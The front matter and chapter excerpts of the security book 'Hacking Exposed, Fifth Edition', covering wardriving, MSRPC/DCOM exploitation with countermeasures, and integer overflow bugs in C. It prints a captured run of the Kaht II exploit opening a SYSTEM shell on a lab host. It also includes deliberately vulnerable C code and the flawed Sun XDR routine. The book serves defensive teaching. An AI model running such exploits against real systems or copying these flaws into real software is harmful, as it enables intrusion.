HACKING EXPOSED™ FIFTH EDITION: NETWORK SECURITY SECRETS & SOLUTIONS

STUART **MCCLURE**
JOEL **SCAMBRAY**
GEORGE **KURTZ**

McGraw-Hill/Osborne
New York Chicago San Francisco
Lisbon London Madrid Mexico City
Milan New Delhi San Juan
Seoul Singapore Sydney Toronto

McGraw-Hill/Osborne
2100 Powell Street, 10th Floor
Emeryville, California 94608
U.S.A.

To arrange bulk purchase discounts for sales promotions, premiums, or fund-raisers, please contact **McGraw-Hill**/Osborne at the above address. For information on translations or book distributors outside the U.S.A., please see the International Contact Information page immediately following the index of this book.

Hacking Exposed™ Fifth Edition: Network Security Secrets & Solutions

1234567890 CUS CUS 0198765

ISBN 0-07-226081-5

Acquisitions Editor
Jane Brownlow
Project Editor
Emily K. Wolman
Project Manager
LeeAnn Pickrell
Technical Editor
Anthony Bettini
Copy Editors
Bart Reed & Emily K. Wolman
Proofreader
John Gildersleeve
Indexer
Karin Arrigoni
Composition and Illustration
Apollo Publishing Services
Series Design
Dick Schwartz & Peter F. Hancik
Cover Series Design
Dodie Shoemaker

This book was composed with Adobe® InDesign® CS.

To my family, your love and patience remind me always how blessed I am.
—Stuart

For those who have volunteered to fight on behalf of America—thanks.
—Joel

To my loving wife, Anna, and my son, Alex, who provide inspiration, guidance, and unwavering support. To my mom, for helping me define my character and teaching me to overcome adversity.
—George

ABOUT THE AUTHORS

Stuart McClure

Stuart McClure is senior vice president of risk management product development at McAfee, Inc., where he is responsible for driving product strategy and marketing for the McAfee Foundstone family of risk mitigation and management solutions. McAfee Foundstone saves countless millions in revenue and hours annually in recovering from hacker attacks, viruses, worms, and malware. Prior to his role at McAfee, Stuart was founder, president, and chief technology officer of Foundstone, Inc., which was acquired by McAfee in October 2004.

Widely recognized for his extensive and in-depth knowledge of security products, Stuart is considered one of the industry's leading authorities in information security today. A published and acclaimed security visionary, he brings many years of technology and executive leadership to McAfee Foundstone, along with profound technical, operational, and financial experience. At Foundstone, Stuart leads both product vision and strategy, and holds operational responsibilities for all technology development, support, and implementation. During his tenure, annual revenues grew over 100 percent every year since the company's inception in 1999.

In 1999, he took the lead in authoring *Hacking Exposed: Network Security Secrets & Solutions,* the best-selling computer-security book ever, with over 500,000 copies sold to date. Stuart also coauthored *Hacking Exposed: Windows 2000* (McGraw-Hill/Osborne, 2001) and *Web Hacking: Attacks and Defense* (Addison-Wesley, 2002).

Prior to Foundstone, Stuart held a variety of leadership positions in security and IT management, with Ernst & Young's National Security Profiling Team, two years as an industry analyst with InfoWorld's Test Center, five years as director of IT with both state and local California governments, two years as owner of an IT consultancy, and two years in IT with the University of Colorado, Boulder.

Stuart holds a bachelor's degree in psychology and philosophy, with an emphasis in computer science applications, from the University of Colorado, Boulder. He later earned numerous certifications, including ISC2's CISSP, Novell's CNE, and Check Point's CCSE.

Joel Scambray

Joel Scambray is a senior director in Microsoft Corporation's MSN Security group, where he faces daily the full brunt of the Internet's most notorious denizens, from spammers to Slammer. He is most widely recognized as coauthor of *Hacking Exposed: Network Security Secrets & Solutions,* the internationally best-selling Internet security book, as well as related titles on Windows and web application security.

Before joining Microsoft in August 2002, Joel helped launch security services startup Foundstone, Inc., to a highly regarded position in the industry, and he previously held positions as a manager for Ernst & Young, security columnist for Microsoft TechNet, editor at large for *InfoWorld Magazine,* and director of IT

for a major commercial real estate firm. He has spoken widely on information security to organizations including CERT, the Computer Security Institute (CSI), ISSA, ISACA, SANS, private corporations, and government agencies, including the FBI and the RCMP. Joel has maintained CISSP accreditation since 1999.

Joel Scambray can be reached at joel@webhackingexposed.com.

George Kurtz

George Kurtz is senior vice president of risk management at McAfee, Inc., where he is responsible for the roadmap and product strategy for the McAfee Foundstone portfolio of risk management and mitigation solutions to protect IT infrastructures and to optimize business availability. Prior to his role at McAfee, George was CEO of Foundstone, Inc., which was acquired by McAfee in October 2004.

With his combination of business savvy and technical know-how, George charted Foundstone's strategic course, positioning the company as a premier "pure play" security solutions provider. George cofounded Foundstone in 1999, and his vision and entrepreneurial spirit helped attract a world-class management team to join him in building one of the most successful and dominant private security companies. During his tenure as chief executive officer at Foundstone, George successfully raised over $20 million in venture capital and was responsible for consummating several international strategic partnerships as well as the sale of Foundstone to McAfee in 2004. He was nationally recognized as one of Fast Company's Fast 50 leaders, technology innovators, and pioneers, and was regionally named 2003 Software Entrepreneur of the Year by the Southern California Software Industry Council.

Prior to cofounding Foundstone, George served as a senior manager and the national leader of Ernst & Young's Security Profiling Services Group. Prior to joining Ernst & Young, George was a manager at PricewaterhouseCoopers, where he was responsible for the development of their Internet security testing methodologies used worldwide.

As an internationally recognized security expert and entrepreneur, George is a frequent speaker at major industry conferences and has been quoted and featured in many top publications and media programs, including the *Wall Street Journal, Time,* the *Los Angeles Times, USA Today,* and CNN. He coauthored the best-selling *Hacking Exposed: Network Security Secrets & Solutions* as well as *Hacking Linux Exposed* (McGraw-Hill/Osborne, 2002), and he contributes regularly to leading industry publications.

George holds several industry designations, including Certified Information Systems Security Professional (CISSP), Certified Information Systems Auditor (CISA), and Certified Public Accountant (CPA). George graduated with honors from Seton Hall University, where he received a bachelor of science in accounting.

About the Contributing Authors

Stephan Barnes is currently in charge of consulting sales for Foundstone Professional Services, a Division of McAfee, and is a recognized name in the information security industry. Although his security experience spans 20 years, Stephan's primary expertise is

in war-dialing, modems, PBX, and voicemail system security. All of these technologies are a critical addition to evaluating an external security posture of any modern enterprise. Stephan's industry expertise includes working for a military contractor and the DoD, and his consulting experience spans hundreds of penetration engagements for financial, telecommunications, insurance, manufacturing, distribution, utilities, and high-tech companies. Stephan is a frequent speaker at many security-related conferences and organizations. He has gone by the alias M4phr1k for over 20 years and has maintained his personal website on war-dialing and other related topics at http://www.m4phr1k.com.

Michael Davis is currently a research scientist at Foundstone, Inc. He is also an active developer and deployer of intrusion detection systems, with contributions to the Snort Intrusion Detection System. Michael is also a member of the Honeynet project, where he is working to develop data and network control mechanisms for Windows-based honeynets.

Nicolas Fischbach is a senior manager in charge of the European Network Security Engineering team at COLT Telecom, a leading pan-European provider of end-to-end business communications services. He holds an engineer degree in networking and distributed computing, and is a recognized authority on service provider infrastructure security and DoS-attack mitigation. Nicolas is cofounder of Sécurité.Org, a French-speaking portal on computer and network security; of eXperts and mystique, an informal security research group and think tank; and of the French chapter of the Honeynet project. He has presented at numerous technical and security conferences, teaches networking and security courses at various universities and engineering schools, and is a regular contributor to the French security magazine *MISC.* More details and contact information are on his homepage, http://www.securite.org/nico.

James C. Foster (CISSP, CCSE) is the Manager of FASL Research & Development and Threat Intelligence for Foundstone Inc. As such, he leads a team of research and development engineers whose mission is to create advanced security algorithms to check for local and network-based vulnerabilities for the FoundScan product suite. Prior to joining Foundstone, James was a senior consultant and research scientist with Guardent, Inc., and an adjunct author for *Information Security Magazine,* subsequent to working as an information security and research specialist at Computer Sciences Corporation. James has also been a contributing author in other major book publications. A seasoned speaker, James has presented throughout North America at conferences, technology forums, security summits, and research symposiums, with highlights at the Microsoft Security Summit, MIT Wireless Research Forum, SANS, and MilCon. He also is commonly asked to comment on pertinent security issues and has been cited in *USA Today, Information Security Magazine, Baseline, Computer World, Secure Computing,* and the *MIT Technologist.*

Bryce Galbraith is a senior hacking instructor and codeveloper of Foundstone's "Ultimate Hacking: Hands On" series. Since joining Foundstone's team, Bryce has taught the art of professional hacking to well over 1000 students from a "who's who" of top companies, financial institutions, and government agencies from around the globe. He has also taught at Black Hat conferences. Bryce consistently receives the highest ratings from course attendees and is often requested by name by various organizations. He has been involved with information technologies for over 20 years with a keen focus on the

security arena. Prior to joining Foundstone, Bryce founded his own security company offering a variety of security-related services. Before this, he worked with major Internet backbone providers as well as other critical infrastructure companies, as designated by the FBI's National Infrastructure Protection Center (NIPC), providing a wide variety of security-related services. Bryce is a member of several security professional organizations and is a Certified Information System Security Professional (CISSP) and a Certified Ethical Hacker (CEH).

Michael Howard is the coauthor of the best-selling title *Writing Secure Code* (Microsoft Press, 2002), now in its second edition, and *19 Deadly Sins of Software Security: Programming Flaws and How to Fix Them* (McGraw-Hill/Osborne, 2005). He is the senior program manager of the Secure Windows Initiative at Microsoft, where he works on secure engineering discipline, process improvement, and building software for humans to use. He works with hundreds of people both inside and outside the company each year to help them secure their applications. Michael is a prominent speaker at numerous conferences, including Microsoft's TechEd and the PDC. He is also a coauthor of *Processes to Produce Secure Software,* published by the Department of Homeland Security, National Cyber Security. Michael is a Certified Information System Security Professional (CISSP).

About the Tech Reviewer

Anthony Bettini leads the McAfee Foundstone R&D team. His professional security experience comes from working for companies like Foundstone, Guardent, and Bindview, and from independent contracting. He specializes in Windows security and vulnerability detection, and programs in Assembly, C, and various scripting languages. Tony has spoken publicly at NIST's NISSC in the greater Washington, DC, area on new anti-tracing techniques and has spoken privately for numerous Fortune 500 companies. For Foundstone, Tony has published new vulnerabilities found in PGP, ISS Scanner, Microsoft Windows XP, and Winamp.

AT A GLANCE

CONTENTS

Part IV Software Hacking

FOREWORD

The Internet is a fragile ecosystem. There is no guarantee the good guys will win. As an executive at a global security firm, I have seen Nimda, Blaster, and Fun Love wash over organizations like a blitzkrieg. The first critical hours of those attacks are a chaotic swirl, as security experts struggle to crack the code. When the attack begins, corporate security and vendor research teams scramble. Every conceivable communications channel crackles with news from those who are safe and colleagues whose networks have been hit.

For those of us at the center of the storm, the process is simultaneously exciting and a bit frightening. In the first critical minutes, everyone wonders if this will be the one that we couldn't stop. Yet in all the attacks so far, the tide has turned in a few hours, and the attention shifts to cleaning up the mess and thwarting the inevitable copycat variants. Within a week, the security team does a final debrief, goes out for a beer, and finally gets some well-earned sleep.

So far, the good guys have won every contest, and the war seems to be going in our direction. The nontechnical business executives I work with are becoming *used* to winning these cyber-skirmishes. They have faith in their security teams and are spending basketfuls of money on them. Extrapolating the past success seems natural—why shouldn't we keep "winning"? Occasionally, however, one of the more thoughtful executives will ask, "What should I tell our board's audit committee about the risks in the future? Can we continue to keep the damage to a minimum?"

I sometimes refer these execs to the analytical paper "How to Own the Internet in Your Spare Time," by Weaver, Paxson, and Staniford. That paper concludes: "Better engineered worms could spread in minutes or even tens of seconds rather than hours, and could be controlled, modified, and maintained indefinitely, posing an ongoing threat of use in attack on a variety of sites and infrastructures." The candid answer to the board's audit committee is, "We don't really know. The skill and organization of the bad guys is increasing at a alarming rate. The best we can do is understand the risk in detail and make sure the investment we make really reduces the risk."

Confronted with this sobering reality, the next question is typically, "So what are the most important things I can do to keep winning?" As a vendor exec, I clamp down on my parochial desire to peddle the latest technology gizmo and give them the only proven

answer: Invest in your technical staff and understand what it is really worth to you to keep the various parts of your business functioning.

This book addresses the first need and prepares for the second. Understanding the potential mechanisms of attack is critical, and *Hacking Exposed, Fifth Edition* is the authoritative reference. The range of potential vulnerabilities and attacks is humbling. Even students of earlier editions will find critical new insight on the more modern attacks. I suggest to technical managers that a disciplined skills development program with this type of content, reinforced by group discussion and application to your environment, is important to do at least yearly.

For the business managers paying for the books and the students' time, my recommendation is that they challenge the technical teams to stretch incredibly. The technical teams need to understand the full spectrum, from vulnerabilities to attack mechanism, to the vulnerability "map" of the organizations they protect, to the specific business value of the assets protected. When all of these factors are brought together, an organization can start to manage its risks in a way that can be explained in the boardroom and actually withstand daily pounding from competent attackers. I know of no other IT technical specialty that requires such a broad range of technical knowledge and range of knowledge of value and structure of a business.

Modern security technology, especially intrusion prevention, can help immensely in defense. Without a disciplined and well-supported set of policies and processes, it's impossible to respond as needed in the "moment of truth." But megabucks of technology and volumes of policy and procedure are worthless without a solid foundation in people, and trained security experts are clearly the cornerstone of that foundation.

To my knowledge, there has been no loss of life or damage to heath from cyberattacks to date. But, the ecosystem grows every day. In a few years, voice conversations will be VoIP based and will travel over the Internet. As core infrastructure systems in power generation and transportation modernize, they ironically face increasing risk through planned or inadvertent connection to the 'Net. Soon, the call you place to 911 for help or the heat on a cold winter's night could depend on Internet availability.

Clearly, the stakes are rising. If you want to ensure you have the technical skills and the business vision to keep your organization safe, keep reading *Hacking Exposed, Fifth Edition.* It's the first and most necessary step to ensuring that every day, as a global security team, we keep winning.

Gene Hodges
President, McAfee Inc.

ACKNOWLEDGMENTS

First, we would like to sincerely thank our incredibly intelligent and gracious colleagues at Foundstone for their help. Their tireless efforts in contributing to this fifth edition and the guidance through this book will never be overlooked. Thanks also to colleagues at Microsoft, including the crews at MSN Security, SBTU, TwC, Corporate Security, PSS, Office, and all the rest who've helped ride herd on those cats and provided inspiration daily.

Big thanks must also go to the tireless McGraw-Hill/Osborne editors and production staff who worked on this edition, including Jane Brownlow, Emily Wolman, LeeAnn Pickrell, James Kussow, and Jessica Wilson.

And finally, a tremendous "Thank You" to all the readers of the first, second, third, and fourth editions. Your never-ending support has risen the topic of security to the light of day and exposed the techniques of hackers to those who most desperately need them.

INTRODUCTION

THE ENEMY IS NO LONGER IGNORANCE—IT IS VIGILANCE

Back in the heady days of 1999, when the first edition of *Hacking Exposed* was released, everyone was pouring into the latest dot-com and preparing for their inevitable IPO. Times were good, and new technologies were being developed at a torrid pace. Well, as we all know, those days of starting a dot-com and taking a private company public in 12 months are long gone. Not only has the financial market changed dramatically, but so has the security landscape. If you don't know that security is now a necessity, not a luxury, you have either been living in a cave for the past five years or are lost remembering the fond old days when your dot-com stock was worth something.

From the beginning, when we first created the concept for *Hacking Exposed,* our goal has always been to educate and enlighten. Some may say, "educate and enlighten the bad guys," but we disagree. The bad guys (and gals) already know what we are presenting. In fact, the good news is that many of you know or will soon know the techniques and concepts that many attackers rely on to do their dirty work. We always say that security isn't necessarily difficult, it just requires a bit of education and a lot of vigilance.

So in *Hacking Exposed, Fifth Edition,* the operative word is *vigilance.* Whether you are a home user or part of the security team of a Global 100 company, you must be vigilant. Do not bow to the pressures of apathy. Keep a watchful eye on security and you will be rewarded—personally and professionally. Don't become yet another victim of a drive-by shooting on the information superhighway.

What's New in the Fifth Edition

We continue to update *Hacking Exposed* because new technologies are being developed continually that introduce new security exposures. In essence, the security world and its associated challenges parallel the rate of technology change. That is, as the complexity of

technology increases at an exponential rate, so do the security challenges. This is both good news and bad news, depending on what side of the fence you sit on. In addition, new techniques, tools, and attack vectors used to circumvent existing security technologies are being developed at a mind-numbing rate. You could say it is the proverbial cat and mouse game; however, the stakes are very real. In this edition, we have worked tirelessly to update this venerable tome to cover the latest technologies and provide you with the latest techniques.

New Content

Among the new items exposed in the fifth edition:

- Up-to-date techniques and countermeasures for preventing the **exploitation of UNIX systems**
- **New chapter** on hacking code, covering the ways flaws get introduced into software and how best to prevent their ubiquitous spread
- **New Windows hacks** including RPCSS (Blaster), LSASS (Sasser), and PCT (Download.ject) buffer overflow exploits
- **Updated denial of service chapter** with from-the-trenches descriptions of large-scale zombie attacks and practical countermeasures
- Coverage of **new web hacking tools** and techniques, including HTTP response splitting and automated vulnerability scanners
- **Totally revised chapter on hacking Internet users,** covering the newest IE exploits, online services security, sociotechnical attacks like phishing, and the newest malware techniques including Windows rootkits techniques
- **Coverage of new wireless hacks**
- New content on **remote connectivity including VoIP hacking**
- New coverage of **web and e-mail client hacking, including the latest Internet Explorer exploits, phishing, spyware, rootkits, and bots**
- **New hacks using Google** as a reconnaissance tool
- An **updated footprinting chapter** that deals with all the inevitable changes in finding information from various internet databases
- **Brand-new case studies** covering relevant and timely security attacks including Google, wireless, and Mac OS X hacks

Navigation

Once again, we have used the popular *Hacking Exposed* format for the fifth edition; every attack technique is highlighted in the margin like this:

This Is the Attack Icon

Making it easy to identify specific penetration tools and methodologies. Every attack is countered with practical, relevant, field-tested workarounds, which have their own special Countermeasure icon.

This Is the Countermeasure Icon

Get right to fixing the problem and keeping the attackers out.

- Pay special attention to highlighted user input as **bold** text in the code listing.
- Every attack is accompanied by an updated Risk Rating derived from three components based on the authors' combined experience:

Popularity:	*The frequency of use in the wild against live targets, with 1 being rarest, 10 being widely used*
Simplicity:	*The degree of skill necessary to execute the attack, with 1 being a seasoned security programmer, 10 being little or no skill*
Impact:	*The potential damage caused by successful execution of the attack, with 1 being revelation of trivial information about the target, 10 being superuser-account compromise or equivalent*
Risk Rating:	***The overall risk rating (average of the preceding three values)***

To Everyone

Hacking Exposed has gone from a small skunks work project designed to help document hacking techniques and disseminate them to people who were passionate about security, to a book with a cult following that has been translated into over 20 languages. The success of *Hacking Exposed* and all its subsequent editions has been phenomenal and greatly exceeded every expectation we had. The authors routinely travel around the world, and it has been extremely rewarding to hear people say, "Yes, I have the Bible of Security Books—*Hacking Exposed*."

Since our first edition, there have been many books written in a style similar to *Hacking Exposed.* While you may have read other books on security, our formula is simple, tried, and true: Provide timely and relevant information about hacker techniques, tools, and associated countermeasures to empower readers to protect themselves. We have not deviated from our formula in this latest edition. If you are joining the *Hacking Exposed* family for the first time, welcome. If you are a longtime reader, we hope you enjoy this edition as much as prior editions. Remember what Sir Francis Bacon said, "Knowledge is power"—power that should not be abused, but rather used to protect and defend. Fight the good fight…and stay secure.

CHAPTER EXCERPTS

CASE STUDY: WIRELESS INSECURITIES

Wireless technology is evident in almost every part of our lives—from the infrared (IR) remote on your TV, to the wireless laptop you roam around the house with, to the Bluetooth keyboard used to type this very text. Wireless access is here to stay. This new found freedom is amazingly liberating; however, it is not without danger. As is generally the case, new functionality, features, or complexities often lead to security problems. The demand for wireless access has been so strong, that both vendors and security practitioners have been unable to keep up. Thus, the first incarnations of 802.11 devices have had a slew of fundamental design flaws down to their core or protocol level. We have a ubiquitous technology, a demand that far exceeds the maturity of the technology, and a bunch of bad guys who love to hack wireless devices. This has all the makings of a perfect storm…

Our famous and cheeky friend Joe Hacker is back at his antics again. This time instead of Googling for targets of opportunity, he has decided to get a little fresh air. In his travels, he packs what seems to be everything and the kitchen sink in his trusty backpack. Included in his arsenal is his laptop, 14 dB gain directional antenna, USB mobile GPS unit, and a litany of other computer gear, and, of course, his iPod. Joe decides that he will take a leisurely bus ride around the city. He doesn't really have a destination in mind; you would call it more of a tour. However, before he embarks on his tour, he decides to fire up the lappy and make sure it is ready for its journey as well.

Joe logs into his very reliable Linux laptop and fires up his favorite program, *Kismet*, plugs in his mobile GPS unit, and gets ready to hit the road. You may have already figured this out, but Joe isn't going on any regular drive—rather, he is going on a *Wardrive.* Wardriving is the latest rage and allows Joe to identify wireless networks and begin to determine just how secure they really are, or shall we say, insecure they really are. As the bus arrives, Joe puts his laptop into the backpack and straps on his iPod. The sounds of Steppenwolf's "Magic Carpet Ride" can be heard leaking out from his headphones. A magic carpet ride indeed.

After several hours of traversing the city, listening to music, and collecting his bounty, Joe decides to disembark and grab a quick bite to eat. As he scavenges his pockets for a few bucks to pay for a chill dog, he anticipates cracking the laptop open and examining the loot. After Joe washes the dog down with a Mountain Dew, he finds a park bench to sit on and review his treasure. *Kismet* certainly has done a good job of finding access points; Joe now has over a thousand wireless access points to choose from. He is beside himself with joy when he discovers over 50 percent of the access points don't have any security enabled and will allow direct access to the identified network. He laughs to himself. Even with all the money these companies spent on firewalls, they have no control over him simply logging directly onto their network via a wireless connection. Who needs to attack from the Internet—the parking lot seems much easier.

Joe noticed that a few of the companies on his hit list had managed to turn on some basic security. They enable Wired Equivalency Privacy (WEP), which is a flawed protocol designed to encrypt wireless traffic and prevent prying eyes (in this case Joe's) from

accessing their network. Joe smiles once again … he knows that with a little help from his friend *Aircrack*, a bit of luck, and a few hundred thousand captured encrypted packets, he can crack the WEP key using a statistical cryptanalysis attack. That will be for another day; today he is going for the low hanging fruit. As he sits on the bench he has over 10 networks in close proximity with default Service Set Identifiers (SSIDs) to target. He thinks, "I'd better put some more music on; it is going to be a long afternoon of hacking…"

This frightening scenario is all too common. If you think it can't happen, think again. In the course of doing penetration reviews, we have actually walked into the lobby of our client's competitor (which resided across the street) and logged onto our client's network. You ask how? Well, they must not have studied the following chapters in the previous editions of *Hacking Exposed*. You, however, are one step ahead of them. Study well—and the next time you see a person waving around a Pringles can connected to a laptop, you might want to make sure your wireless security is up to snuff too!

EXCERPT FROM CHAPTER 4: "HACKING WINDOWS"

MSRPC Vulnerabilities

Popularity:	*9*
Simplicity:	*5*
Impact:	*10*
Risk Rating:	***8***

Apparently frustrated by the gradual hardening of IIS over the years, hackers turned their attention to more fertile ground: Microsoft Remote Procedure Call (MSRPC) and the many programmatic interfaces it provides. MSRPC is derived from the Open Software Foundation (OSF) RPC protocol, which has been implemented on other platforms for years. For those of you who are wondering why we include MSRPC under our discussion of proprietary Microsoft protocol attacks, MSRPC implements Microsoft-specific extensions that have historically separated it from other RPC implementations. Many of these interfaces have been in Windows since its inception, providing plenty of attack surface for buffer overflow exploits and the like. The MSRPC port mapper is advertised on TCP and UDP 135 by Windows systems, and cannot be disabled without drastically affecting the core functionality of the operating system. MSRPC interfaces are also available via other ports, including TCP/UDP 139, 445, or 593, and can also be configured to listen over a custom HTTP port via IIS or COM Internet Services (CIS; see http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx).

In July of 2003, The Last Stage of Delirium Research Group published one of the first serious salvos signaling renewed interest in Windows proprietary networking protocols. LSD identified a stack buffer overflow in the RPC interface implementing Distributed Component Object Model services (DCOM). Even Windows Server 2003's buffer overflow protection countermeasures (the /GS flag) failed to protect it from this vulnerability.

There were a number of exploits, viruses, and worms that were published to take advantage of this vulnerability. One easy-to-use scanner is the Kaht II tool, which can be downloaded from http://www.securityfocus.com/bid/8205/exploit/. Khat II can scan a range of IP addresses, remotely exploit each system vulnerable to the RPC vulnerability, and send back a shell running as SYSTEM. Talk about fire and forget exploitation! Khat II is shown in operation here:

```
C:\tools>kaHt2.exe 192.168.234.2 192.168.234.3
_____________________________________________________
            KAHT II - MASSIVE RPC EXPLOIT
```

```
  DCOM RPC exploit. Modified by aT4r@3wdesign.es
  #haxorcitos && #localhost  @Efnet Ownz you!!!
              PUBLIC VERSION :P
_____________________________________________________

 [+] Targets: 192.168.234.2-192.168.234.3 with 50 Threads
 [+] Attacking Port: 135. Remote Shell at port: 33090
 [+] Scan In Progress...
 - Connecting to 192.168.234.3
   Sending Exploit to a [WinXP] Server...
 - Conectando con la Shell Remota...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINNT\system32>whoami
whoami
nt authority\system

C:\WINNT\system32>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
  etc.
  TCP    192.168.234.3:33090    192.168.234.210:3239   ESTABLISHED
  UDP    0.0.0.0:135            *:*
  etc.

C:\test>b

 - Connection Closed

 [+] Scan Finished. Found 1 open ports
```

More infamously, the Blaster worm achieved significant distribution by exploiting this vulnerability. Blaster was programmed to infect other machines and perform a Denial of Service attack against windowsupdate.com (not actually the correct address for

Microsoft's primary patching site) that was blunted by Microsoft's removal of the windowsupdate.com domain name from DNS on August 15, 2003.

Subsequently, other serious MSRPC vulnerabilities were discovered. For details, see http://www.microsoft.com/technet/security/Bulletin/MS03-039.mspx, MS04-012.mspx, and MS04-029.mspx.

MSRPC Countermeasures

For complete information about mitigating this vulnerability, see Microsoft's security bulletin at http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx.

At the network layer, filter access to the ports used to exploit MSRPC, including:

- TCP ports 135, 139, 445, and 593
- UDP ports 135, 137, 138, and 445
- All unsolicited inbound traffic on ports greater than 1024
- Any other specifically configured RPC port
- If installed, COM Internet Services (CIS) or RPC over HTTP, which listen on ports 80 and 443 (see Microsoft security bulletin MS03-026 for more information about identifying CIS and RPC over HTTP on your systems)

At the host layer, filter these same ports using host-based firewalling or IPSec filters, and apply the patch from MS03-026 (or subsequent roll-up hotfixes or Service Packs, of course). Microsoft also released a tool to scan for the presence of this vulnerability at http://support.microsoft.com/?kbid=827363.

Although disabling the RPC service (RPCSS) is not recommended, you can disable DCOM to prevent specific vulnerabilities involving the RPC/DCOM interface (like MS03-026). While disabling DCOM is not as debilitating as disabling RPCSS, it will likely cause issues with your Windows applications, so be very cautious if you elect to go this route. See http://support.microsoft.com/?kbid=825750 for information on how to disable DCOM. Also, be sure to disable RPC over HTTP and CIS if you are not using it.

If you write your own RPC applications, you should definitely read Microsoft's MSDN article on securing RPC clients and servers, available at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/rpc/rpc/writing_a_secure_rpc_client_or_server.asp.

To detect systems already infected by Blaster, we recommend following standard incident response procedures and relying on your anti-virus infrastructure. You might also try rerouting the windowsupdate.com domain name to a special internal IP address: This will alert you to the infected machines that will subsequently attempt to SYN flood the internal IP address at scheduled intervals according to Blaster's internal timer.

EXCERPT FROM CHAPTER 5: "HACKING UNIX"

Integer Overflow and Integer Sign Attacks

Popularity:	*8*
Simplicity:	*7*
Impact:	*10*
Risk Rating:	***8***

If format string attacks were the celebrities of the hacker world in 2000 and 2001, then integer overflows and integer sign attacks were the celebrities in 2002 and 2003. Some of the most widely used applications in the world, such as OpenSSH, Apache, snort, and samba, were vulnerable to integer overflows that led to exploitable buffer overflows. As with buffer overflows, integer overflows are programming errors, however, integer overflows are a little nastier because the compiler can be the culprit along with the programmer!

First, what is an integer? Within the C programming language, an integer is a data type that can hold numeric values. Integers can hold whole real numbers only; therefore, integers do not support fractions. Furthermore, because computers operate on binary data, integers need an ability to determine if the numeric value it has stored is a negative or positive number. Signed integers, or integers that keep track of their sign, store either a 1 or 0 in the most significant bit (MSB) of their first byte of storage. If the MSB is 1, the stored value is negative; if it is 0, the value is positive. Integers that are unsigned do not utilize this bit so all unsigned integers are positive. Determining when a variable is signed or unsigned causes some confusion, as we will see later.

Integer overflows exist because the values that can be stored within the numeric data type are limited by the size of the data type itself. For example, a 16-bit data type can store a maximum value of 32,767 only, whereas a 32-bit data type can store a maximum value of 2,147,483,647 (we assume both are signed integers). So what would happen if you assign the 16-bit signed data type a value of 60,000? An integer overflow would occur and the value actually stored within the variable would be -5536. Let's look at why this "wrapping," as it is commonly called, occurs.

The ISO C99 standard states that an integer overflow causes "undefined behavior"; therefore, each compiler vendor can handle an integer overflow however they choose. They can ignore it, attempt to correct the situation, or abort the program. Most compilers seem to ignore the error. Even though compilers ignore the error, they still follow the ISO C99 standard that states a compiler should use modulo-arithmetic when placing a large value into a smaller data type. Modulo-arithmetic is performed on the value before it

is placed into the smaller data type to ensure the data fits. Why should you care about modulo-arithmetic? Because the compiler does all this behind the scenes, it is difficult for programmers to physically see an integer overflow. The formula looks something like this:

```
stored_value = value % (max_value_for_datatype + 1)
```

Modulo-arithmetic is a fancy way of saying the most significant bits are discarded up to the size of the data type and the least significant bits are stored. An example should explain this clearly:

```
#include <stdio.h>

int main(int argc, char **argv) {
      long l = 0xdeadbeef;
      short s = l;
      char c = l;
      printf("long: %x\n", l);
      printf("short: %x\n", s);
      printf("char: %x\n", c);
      return(0);
}
```

On a 32-bit Intel platform the output should be:

```
long: deadbeef
short: ffffbeef
char: ffffffef
```

As you can see, the most significant bits were discarded and the value assigned to `short` and `char` are what is left. Because a `short` can store only 2 bytes, we only see "beef," and because a `char` can hold only one byte, we only see "ef". The truncation of the data causes the data type to store only part of the full value. This is why our value was -5536 instead of 60,000 earlier in this section.

So, we understand the gory technical details, but how does an attacker use this to their advantage? It is quite simple. A large part of programming is copying data. The programmer has to dynamically copy data used for variable length user-supplied data. The user-supplied data, however, can be very large. If the programmer attempts to assign the length of the data to a data type that is too small, an overflow will occur. Here's an example:

```
#include <stdio.h>

int get_user_input_length() { return 60000; };
```

```
int main(void) {
        int i;
        short len;
        char buf[256];
        char user_data[256];

        len = get_user_input_length();
        printf("%d\n", len);

        if(len > 256) {
                fprintf(stderr, "Data too long!");
                exit(1);
        }

        printf("data is less then 256!\n");
        strncpy(buf, user_data, len);
        buf[i] = '\0';
        printf("%s\n", buf);
        return 0;
}
```

And here's the output:

```
-5536
data is less then 256!
Bus error (core dumped)
```

This is a rather contrived example but it illustrates the point. The programmer must think about the size of the values and the size of the variables used to store those values.

Signed attacks are not too different from the above example. Signedness bugs occur when an unsigned integer is assigned to a signed integer or vice versus. Like a regular integer overflow, many of these problems appear because the compiler "handles" the situation for the programmer. Because the computer doesn't know the difference between a signed and unsigned byte (to the computer they are all 8 bits in length), the compiler has to make sure code is generated that understands when a variable is signed or unsigned. Let's look at an example of a signedness bug:

```
static char data[256];

int store_data(char *buf, int len)
{
        if(len > 256)
                return -1;
        return memcpy(data, buf, len);
}
```

In this example, if you pass a negative value to `len` (a signed integer), you bypass the buffer overflow check, and since `memcpy` requires an unsigned integer for the length parameter, the signed variable `len` would be promoted to an unsigned integer and loose its negative sign. `len` would wrap around and become a very large positive number causing `memcpy` to read past the bounds of `buf`.

It is interesting to note that most integer overflows are not exploitable themselves. Integer overflows become exploitable usually when the overflowed integer is used as an argument to a function such as `strncat`, which triggers a buffer overflow. Integer overflows followed by buffer overflows have been the exact cause of many of the remotely exploitable vulnerabilities recently discovered in applications such as OpenSSH, snort, and Apache.

Let's look at a real world example of an integer overflow. In March 2003, a vulnerability was found within Sun Microsystem's External Data Representation (XDR) RPC code. Because Sun's XDR is a standard, many other RPC implementations utilize Sun's code to perform the XDR data manipulations; therefore, this vulnerability affected not only Sun but also many other operating systems including Linux, FreeBSD, and IRIX.

```
static bool_t
xdrmem_getbytes(XDR *xdrs, caddr_t addr, int len)
{
        int tmp;

        trace2(TR_xdrmem_getbytes, 0, len);
        if ((tmp = (xdrs->x_handy - len)) < 0) { // [1]
                syslog(LOG_WARNING,

                <omitted for brevity>

                return (FALSE);
        }

        xdrs->x_handy = tmp;
        (void) memcpy(addr, xdrs->x_private, len);  // [2]
        xdrs->x_private += len;
        trace1(TR_xdrmem_getbytes, 1);
        return (TRUE);
}
```

